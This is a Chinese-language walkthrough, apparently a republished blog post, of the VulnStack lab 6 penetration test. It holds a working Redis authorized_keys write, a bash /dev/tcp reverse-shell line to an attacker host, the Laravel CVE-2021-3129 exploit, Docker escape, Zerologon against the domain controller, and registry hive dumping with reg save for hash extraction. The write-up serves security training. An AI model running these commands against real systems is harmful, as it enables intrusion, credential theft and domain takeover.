当前位置:   article > 正文

VulnStack靶场6_vulnstack域渗透靶场6

vulnstack域渗透靶场6

VulnStack靶场6

这个是一套比较新的靶场,但是技术还是老的技术,在进行测试时要懂得举一反三,根据某个知识点进行梳理复习,就能有很大收获

0x01.环境搭建

这次的环境包括两台Linux做web机器,三台Windows搭建的域环境,笔者这里使用了自定义的网络环境:

其中第一台Web做了Nginx反向代理,但是似乎有点问题,不知道这是默认就是这样整的还是我的环境没搭好。除了Nginx之外还有有一个Redis服务:

 redis-server /etc/redis.conf
 /usr/sbin/nginx -c /etc/nginx/nginx.conf
 iptables -F

环境搭建最关键的一步是网络配置,对域环境单网卡比较容易,但是对于Linux多网卡就需要自己去改动配置文件,比较复杂。

对于Web2需要启动docker容器:

 sudo service docker start
 sudo docker start 8e172820ac78 -p 8000:80

此外对于PC1通达OA的配置需要高权限C:\MYOA\bin\AutoConfig.exe

因为PC1本地的管理员账号被禁用,所以我选择了使用域管账号登录后添加通达OA为服务,然后添加了一条防火墙规则允许通过8080,接着清除登录凭证。这样保证了PC1 getshell后无法抓到域账号密码,增加了难度

也需要自己手动启用一下。此外对于这个靶场环境我在Windows机器上还安装了杀软。

0x02.信息收集

端口发现

对入口Web1进行扫描发现开放端口22,80,81,6379

 nmap 10.10.10.128 -sS -p- 
 -sS SYN半开扫描,-p-扫描所有端口

服务发现

发现分别运行了以下服务

22端口是常规的SSH服务,暂时不考虑爆破,80端口提示502暂时放弃,81端口是Lavarel框架,6379运行的是Redis服务,那么我们就可以从81端口和6379端口下手

这里很清晰的提示出了Lavarel和php的版本信息

直接使用redis-cli连接,可以连接成功,说明此处存在Redis未授权访问漏洞

0x03.踩点破口

Web1:

GetShell

从目前掌握的信息来看,6379的利用难度要小于81,那么我们可以尝试对6379进行测试,Redis未授权通常有三个利用方法:

  • 登录写authorized_keys密钥

  • 计划任务反弹shell

  • 在知道web的绝对路径情况下写入webshell

  • 写/etc/passwd文件

我们这里进行写authorized_keys密钥,进行远程登录

ssh-keygen 生成密钥对,然后把生成的公钥上传到服务器,使用本地私钥连接:

 
  1. root@kali:~/lab# redis-cli -h 10.10.10.128
  2.  10.10.10.128:6379> config set dir /root/.ssh/
  3.  OK
  4.  10.10.10.128:6379> config set dbfilename authorized_keys
  5.  OK
  6.  10.10.10.128:6379> config get dbfilename
  7.  1) "dbfilename"
  8.  2) "authorized_keys"
  9.  10.10.10.128:6379> del dbfilename
  10.  (integer) 0
  11.  10.10.10.128:6379> config set dbfilename authorized_keys
  12.  OK
  13.  10.10.10.128:6379> exit
  14.  root@kali:~/lab# cat id_rsa.pub | redis-cli -h 10.10.10.128 -x set crackit
  15.  OK
  16.  root@kali:~/lab# redis-cli -h 10.10.10.128
  17.  10.10.10.128:6379> save
  18.  OK

此外如果这个方法显的繁琐,我们还可以使用fscan自动化操作:fscan -h 10.10.10.128 -rf id_rsa

至此,我们拿下了第一台机器

信息收集:

对拿下的第一台机器进行信息收集,主要收集服务器配置信息,文件信息以及网络信息:

文件配置:

可以看到/etc/nginx/nginx.conf包含了include /etc/nginx/conf.d/*.conf文件,其目录下有:80.conf,81.conf两个文件,很容易联想到两个端口的配置

文件信息:

可以看到标准的双网卡,在Linux环境下可以使用bash脚本进行ICMP扫描

网络信息:

扫描脚本

  1.  #!/bin/bash
  2.  for i in $(seq 255)
  3.  do
  4.  {
  5.      ping -c 2 -b 192.168.52.$i > /dev/null
  6.      state=$?
  7.      if [ $state -eq 0 ]; then
  8.          echo "192.168.93.$i is ok" >> ip.txt
  9.      fi
  10.  }&
  11.  done
  12.  wait

这里扫描到了三台机器

我们可以对192.168.52.20:8000进行测试

Web2:

GetShell:

我们通过漏洞情报搜集找到了可以用的EXP:

这里存在一个Phar反序列化漏洞,这里应该提前排好快照,因为这个环境打的次数多了就无法实现攻击了,在真实的环境中,应现在本地搭建好环境然后进行EXP

篇幅限制,这里不再进行详细讲解了,简单来说就是通过构建恶意的Log上序列化之后的phar文件,然后通过自带的Ignition 组件对file_get_contents()和file_put_contents()函数反序列化,最终造成远程代码执行。详情可以参考https://www.cnblogs.com/xiaoyunxiaogang/p/16913350.html

我们这里直接利用GitHub上的脚本:https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

成功getshell

执行命令ls -alh /发现根目录下存在/.dockerenv文件,且一些命令例如ifconfig无法执行,因此大概率进入了一台Docker机器

无论通过那种方式进行docker逃逸,首先都要进行root提权,所以现对机器进行权限提升

这道题中给出了提示,需要环境变量提权,那么我们搜索具有SUID权限的文件:

环境变量提权

这里的环境变量提权实战中比较少见,这里可以合理联想到DLL劫持,都是一种移花接木的技术

我们可以把 ps 木马文件复制到/tmp目录下,然后写一个反弹shell到远程主机,也就是反弹到我们可控的web1上,然后需要一个交互式shell,这样才能改变环境变量的优先级,当我们的命令解释器处理 system("ps") 时就回去环境变量列表寻找ps,执行我们的木马。因此这里要交互式环境

*反弹shell经验

在进行一些苛刻环境中,比如这里的docker,如果要直接使用

/bin/bash -i >& /dev/tcp/192.168.52.10/8080 0>&1

在蚁剑环境下无法反弹,因此在不同环境下要使用不同的反弹shell,我这里选择php版本的shell:

然后使用nc监听+curl访问就可以反弹到shell:

这里省略了用msfvenom生成了木马然后上传步骤ps即为反弹shell木马

下面是详细过程:

至此,我们的到了一个交互式shell,下一步我们就要劫持环境变量,开始提权

Docker逃逸:

Docker逃逸的方式有很多种,下面是一些常用手段:

  1. 特权模式逃逸文件系统

  2. docker.sock挂载逃逸

  3. Remote API未授权访问

  4. 服务缺陷逃逸

  5. 内核级别逃逸

我们首选特权模式,因为他的利用难度较小,最直接

判断方法:

cat /proc/1/status | grep Cap

查询对应出来的值为0000003fffffffff那么就有可能是特权容器,可尝试逃逸

开始逃逸:

逃逸的原来是Docker机器有了特权,因此在底层文件系统等方面是共享的,我们可以把真实的磁盘挂载到一个目录

这里逃逸的结果和前面的 redis 相同,都是可以操作物理机器的硬盘文件,我们可以选择authorized_keys修改,也可以选择计划任务反弹shell,还可以选择一种添加后门账户的手段

这里我选择authorized_keys

*SSH连接错误解决方法

我们已经完全拿下web1,web2这两台web服务器,但是如果要连接web2,还需要在web1上搭建隧道,然后通过隧道来连接web2这里我使用iox来建立连接隧道:

配置 proxychain 链:

这里连接失败了,后来检查了好久才发现问题的原因

关于ssh登录会出现很多梗,不知道是因为我的操作失误,还是说这个靶场故意挖的坑。

遇到这种问题时,可以使用 ssh -vvv 参数查看连接过程,详情调试信息,一方面可以去查看ssh登录日志,这两个方法都会给我们许多提示信息。

通常,这些日志将存储在 /var/log/auth.log(对于Debian或Ubuntu等基于Debian的系统)或 /var/log/secure(对于CentOS、Red Hat和Fedora等基于Red Hat的系统)中

我通过查看日志文件:

  1. 第一行日志条目指出了一个身份验证问题:Authentication refused: bad ownership or modes for directory /root/.ssh。这表示SSH服务器拒绝了一个身份验证请求,原因是 /root/.ssh 目录的所有权或权限设置存在问题。通常,SSH要求 ~/.ssh 目录的权限非常严格,只有所有者具有读写权限,而其他用户没有访问权限,以确保私钥的安全性。

  2. 第二行日志条目指出连接由IP地址 "192.168.52.10" 关闭,同时还指出了 "[preauth]",这表示在进行身份验证之前连接被关闭。这可能是由于身份验证失败而导致的。

综合来看,这个日志信息表明一个SSH连接尝试由于 /root/.ssh 目录的权限问题而被拒绝,并且连接在进行身份验证之前就被关闭了。解决这个问题需要确保 /root/.ssh 目录及其内容的权限和所有权设置正确,以便SSH身份验证可以顺利进行。不知道这个是因为笔者不小心改掉了,还是说这是靶场挖的坑,我们只需要把 目标机器的/root/.ssh该为700就可以了,进行下一步

可以看到这里提示 没有签名算法,那么我们只需要手动的添加这个签名算法:-o PubkeyAcceptedKeyTypes=+ssh-rsa 就可以连接成功了,这里由于篇幅限制,给出了参考链接,建议详细学习一下。

在我们进行真实的渗透测试过程中就是这些小的问题,有时候会给我们造成很多麻烦,我们不能忽略这些小的问题,而应该积攒经验,以备未来某一天对某站点进行测试时仍可以用到

【精选】SSH免密失败并报错:no mutual signature algorithm_ssh免密报错_IT民工金鱼哥的博客-CSDN博客

最后我们成功的拿到了Web2的权限:

0x04.内网信息收集

对于获得权限的web2,我们仍进行信息收集的过程,在这里,只有网络信息对我们有价值,但是在真实 环境下,我们应该对以下几个方向多多关注:

网络信息收集

可以看到没有什么服务,8000端口对应的是docker中的Laravel 除了docker的虚拟网卡和本地网卡还有两个ip: 192.168.52.20 192.168.93.10 又多了一个新的网段192.168.93.10/24 我们通过scp上传扫描工具fscan进行扫描:

那么在这里我们可以建立出这个网络环境的大致特征:

0x05.横向移动

PC1

我们可以继续对PC1进行测试,根据扫描结果我们可以从MS17-010和通达OA入口。MS17-010可以直接 通过445,139端口获得 Nt \System 权限,但是容易对目标机器造成宕机蓝屏伤害,所以优先级靠后,接 着我们尝试访问8080端口:

通过通达敏感文件我们可以收集到版本:

  1. /inc/reg_trial.php 暴露版本信息
  2. /inc/reg_trial_submit.php 暴露版本信息
  3. /ispirit/retrievepwd.php?username=admin 会暴露用户名,可搜集邮箱
  4. /resque/worker.php 暴露计算机名

因为我这里没有对通达OA进行授权,所以不在进行演示,我们可以通过在线情报搜索出 通达OA的历史 漏洞:

  1. 【1】通达OA v2014 get_contactlist.php 敏感信息泄漏
  2. 【2】通达OA v2017 video_file.php 任意文件下载
  3. 【3】通达OA v2017 action_upload.php 任意文件上传
  4. 【4】通达OA v2017 login_code.php 任意用户登录
  5. 【5】通达OA v11 login_code.php 任意用户登录
  6. 【6】通达OA v11.5 swfupload_new.php SQL注入
  7. 【7】通达OA v11.6 report_bi.func.php SQL注入
  8. 【8】通达OA v11.8 api.ali.php 任意文件上传
  9. 【9】通达OA v11.8 gateway.php 远程文件包含RCE
  10. 【10】通达OA v11.6 print.php前台组合拳RCE
  11. 【11】通达OA v11.10 getdata 任意文件上传

这是来自Git上的一个利用工具目前列出来的EXP,这个工具是Go语言写的,可以跨平台:

https://github.com/Fu5r0dah/TongdaScan_go

因为我的Kali模式为仅主机,无法访问外网,所以使用Windows演示.这里我们不必关心太多漏洞原理, 我们直接通过exp来对目标进行getshell:

工具成功一把梭:

这里收集到了用户信息以及网络信息,还可以看到机器是在域内的,那么之前的网络拓扑图就可以把这 台机器加入到域内。这里也尝试了使用Mimikatz来抓取密码,可以并没有抓取到有价值的账号密码,只 有一个md5无法查询到的机器账户

对域攻击(CVE-2020-1472复现)

无法抓到域用户信息,就无法考虑哈希传递,这里考虑使用漏洞打法,而且根据靶场提示,我们可以尝 试使用 Windows NetLogon 域内权限提升(CVE-2020-1472)漏洞利用 这个是相关脚本:https://github.com/risksense/zerologon 这个漏洞要求和DC直接通信,因此为了使Kali直接能与DC通信,我先在Web2上搭建了一台Socks5代 理,然后在Web1上做了端口映射:

这里建议还是使用PC1进行搭建socks5代理,如果使用web2的话,会很麻烦,因为web2上面没有 nohup,tmux等程序,因此运行的代理会随着ssh结束而结束 配制好proxychains后,使用脚本检测:

漏洞存在,我们接着进行攻击域管:

其实我们这里把机器账户的密码置空后,机器账户的密码就变成了: 31d6cfe0d16ae931b73c59d7e0c089c0 ,也就是经过NTLM加密后的空密码。 但是我们这是还是可以使用 secretsdump.py来看一下域中的哈希值:

secretsdump.py是一个Python脚本,属于Impacket工具包中的一部分。Impacket是一个用于网 络协议开发和安全评估的Python库,它提供了许多功能来处理和操作网络协议。 该脚本功能有: 从本地SAM数据库提取本地账户的哈希。 通过LSA(Local Security Authority)提取本地账户的凭据。 通过NTDS.dit文件提取域账户的哈希(需要域控制器访问权限)。 通过域控制器的RPC接口提取域账户的凭据。 这里我们远程遍历哈希的原理简单来说就是模拟了Dcsync技术,通过与域控制器的 RPC 连接,并 模拟成域控制器,向目标域控制器发出数据同步请求。在数据同步过程中,脚本会获取包含域账户 密码哈希的数据。

然后使用横向移动工具(smbexec/wmiexec/psexec等)进行PTH哈希传递,注意,这里我们使用域管 理员账号administrator登录,机器用户无法进行PTH:

成功拿到域控权限,但是这一步还不算完成。在上面的攻击过程中,我们将机器的密码置为空,会导致 域控脱域,原因是机器用户在AD中的密码(存储在ntds.dic)与本地注册表里面的不一致。还原域控机 器账户的hash,只要将AD中的密码与注册表里面的密码保持一致即可。

这里由于篇幅原因,不在进行截图展示,部分截图引用博客:https://www.cnblogs.com/zw1sh/p/13849192.htm

  1. #获取计算机账户原始hash:
  2. reg save HKLM\SYSTEM system.save
  3. reg save HKLM\SAM sam.save
  4. reg save HKLM\SECURITY security.save
  5. get system.save
  6. get sam.save
  7. get security.save
  8. del /f system.save
  9. del /f sam.save
  10. del /f security.save

使用reg save命令将注册表里的信息拿回本地,这里采取的方法是使用copy命令拷贝到PC1上,然后通 过哥斯拉将注册表信息保存到本地。再通过secretdump提取出里面的hash:

  1. python3 secretsdump.py -sam sam.save -system system.save -security
  2. security.save LOCAL

使用zerologon工具将原始计算机账户哈希还原:

查看testdc$账户的hash,已成功还原:

0x06.权限维持

对于权限维持,我们可以选择上线CS或者MSF,当然持久化的操作还是会选择CS,但是CS不支持正向 shell,整个网络环境又都是不出网,因此不一定方便。 这里的思路是在外围写入一个webshell,然后内网中使用mimikatz的skeleton模块,开启一个后门账 户,在实战中这种方式很常见,我理解的权限维持就是如和建立一个稳定的,有高权限的后门,当然后 门进程本身不一定要有高权限,这里给出了一些常见的思路:

当此之外呢,如果是在实战中,还应该进行痕迹清理

0x07.总结

总得来说,这个靶场还是综合性比较强,设计技术较多的一个靶场,这还是一个双层内网环境(虽然官 方认为这是三层,但是我认为第一层属于公网网段),需要搭建多层代理,然后就是这是一套模拟环 境,所以在测试时网络,会话等条件都比较理想,但是在实战环境中各种因素限制绝对会比靶场苛刻的 多,例如WAF,杀软,以及代理条件下的网络。

举个例子,wmiexec在高延迟网络环境下往往只能执行2~3条命令,如果间隔时间过长也会自动断开。 所以在安全行业我们应该多积攒经验,不在小问题上浪费时间,同时也应该发散学习,社工,免杀,二进制等都应该多学习多见识。

此外还应该多整理笔记,好多技术都是感觉会,感觉简单,但是长时间不使用不练习那么在用的时候就 会出现各种问题,而且我们不能忽略小问题,例如这次在连接ssh会话时,我们已经配置好了公约私钥 对,但是当我们去连接时还是会提示输入密码,这些问题都是容易忽略但是不能跳过的。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/727109
推荐阅读
相关标签
  

闽ICP备14008679号